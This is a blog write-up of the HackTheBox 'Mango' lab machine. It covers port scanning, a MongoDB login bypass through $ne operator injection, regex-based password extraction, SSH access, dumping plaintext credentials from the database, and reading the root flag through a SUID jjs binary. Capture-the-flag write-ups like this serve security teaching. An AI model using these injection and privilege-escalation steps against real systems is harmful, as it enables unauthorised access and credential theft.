Header Image

Roman Hergenreder

Computer Science Student & Software Developer

HackTheBox Mango - Writeup

Release Date:2019/10/26 19:00

Last modified: 2020-03-07

Starting with a nmap-scan gives us the following results:

$ nmap -A -T 5 -p-
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1

A http and https port is opened on this machine, but we cannot access pages on the plain http port, as the server always responds with 403 Forbidden. Investigating the encrypted port, we can firstly obtain a domain: staging-order.mango.htb, let's keep it for later researchs. The page on doesn't look really interesting, a search form, where everything leads to zero results and an analytics.php page with some sample data. I tried different injections in the search form but nothing worked.

We can access the site on the given domain by adding it to /etc/hosts like shown below:

$ echo ' staging-order.mango.htb' >> /etc/hosts

This page looks even more interesting: We've got a login form. But we don't have any credentials yet, bruteforcing both username and password would be quite slow. sqlmap does not seem to yield in any results. But the name Mango gives us an important hint, which we can even obtain by searching for Mango Database: It auto-corrects to MongoDB. Let's try some MongoDB injections. In the network tab of the browser (or using burp), we can modify the POST-parameters like shown this OWASP-Paper. Note: I got the username from a hint in the forum, but it can be obtained using the regex search algorithm.

$ curl -i -X POST http://staging-order.mango.htb/ -d "username=mango&password[\$ne]=1" -s -o /dev/null -v
< HTTP/1.1 302 Found
< Date: Sat, 18 Jan 2020 18:59:33 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Set-Cookie: PHPSESSID=b5tc1676hjn6qlog19no781570; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< location: home.php
< Content-Length: 4022
< Content-Type: text/html; charset=UTF-8

The request forwards us to home.php instead of just back to index.php. The login obviously worked and using the cookie, we can see the following screen. So nothing to see here, but with the knowledge the injection worked, we can do a structured bruteforce: In nosql, $regex can be used, to perform a search using regular expressions. We can simply build our password by iterating char-by-char. I wrote a little python script, which sends a request for every char, starting with ^a.*. I had to escape chars in this charset: .^$*+()[{\|?. After some time, the password was printed:

[mango home]
$ python exploit.py
trying: h3mXK8RhU~f\{]f5H

Using this password we can login as user mango on the ssh port:

$ ssh mango@
mango@'s password: h3mXK8RhU~f{]f5H
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)


For the last step, we need to check the contents of the MongoDB again, which gives us another login:

mango@mango:~$ mongo
MongoDB shell version v4.0.12
connecting to: mongodb://
> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
mango 0.000GB
> use mango
switched to db mango
> show tables
> db.getCollection("users").find()
{ "_id" : ObjectId("5d8e25334f3bf1432628927b"), "username" : "admin", "password" : "t9KcS3>!0B#2" }
{ "_id" : ObjectId("5d8e25364f3bf1432628927c"), "username" : "mango", "password" : "h3mXK8RhU~f{]f5H" }

Using the admin password we can login as the local user and obtain the user flag:

mango@mango:~$ su admin -s /bin/bash
Password: t9KcS3>!0B#2
admin@mango:/home/mango$ cat ~/user.txt

For root part, we firstly execute our information gathering tool: LinEnum.sh. As the output may be very big, i will just focus straight on the solution.

admin@mango:~$ bash LinEnum.sh
[+] Possibly interesting SUID files:
-rwsr-sr-- 1 root admin 10352 Jul 18 2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

The command above will run with root privileges as the SUID bit is set, but we have to be in the admin group. jjs is said to invoking the Nashorn engine. Running this command, it will give us a CLI. Using jjs we can access java-packages and execute code. So we can simply create a FileReader and output the root flag:

admin@mango:~$ jjs
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var olinkfile = "/root/root.txt";
jjs> var fr = new FileReader(olinkfile);
jjs> var br = new BufferedReader(fr);
jjs> print(br.readLine());
jjs> br.close();

The name Mango was a big hint, that MongoDB was used. The used exploit worked due to the fact, that php transforms request parameters ending with [.*] into an array. $ne refers to not-equal. The executed request would look like this:

# Actual code:
$collection->find(array('user' => $_GET['user'], 'password' => $_GET['password']));

# GET http://staging-order.mango.htb/index.php?username=mango&password=test
$collection->find(array('user' => 'mango', 'password' => 'test'));

# GET http://staging-order.mango.htb/index.php?username=mango&password[$ne]=test
$collection->find(array('user' => 'mango', 'password' => array('$ne' => 'test')));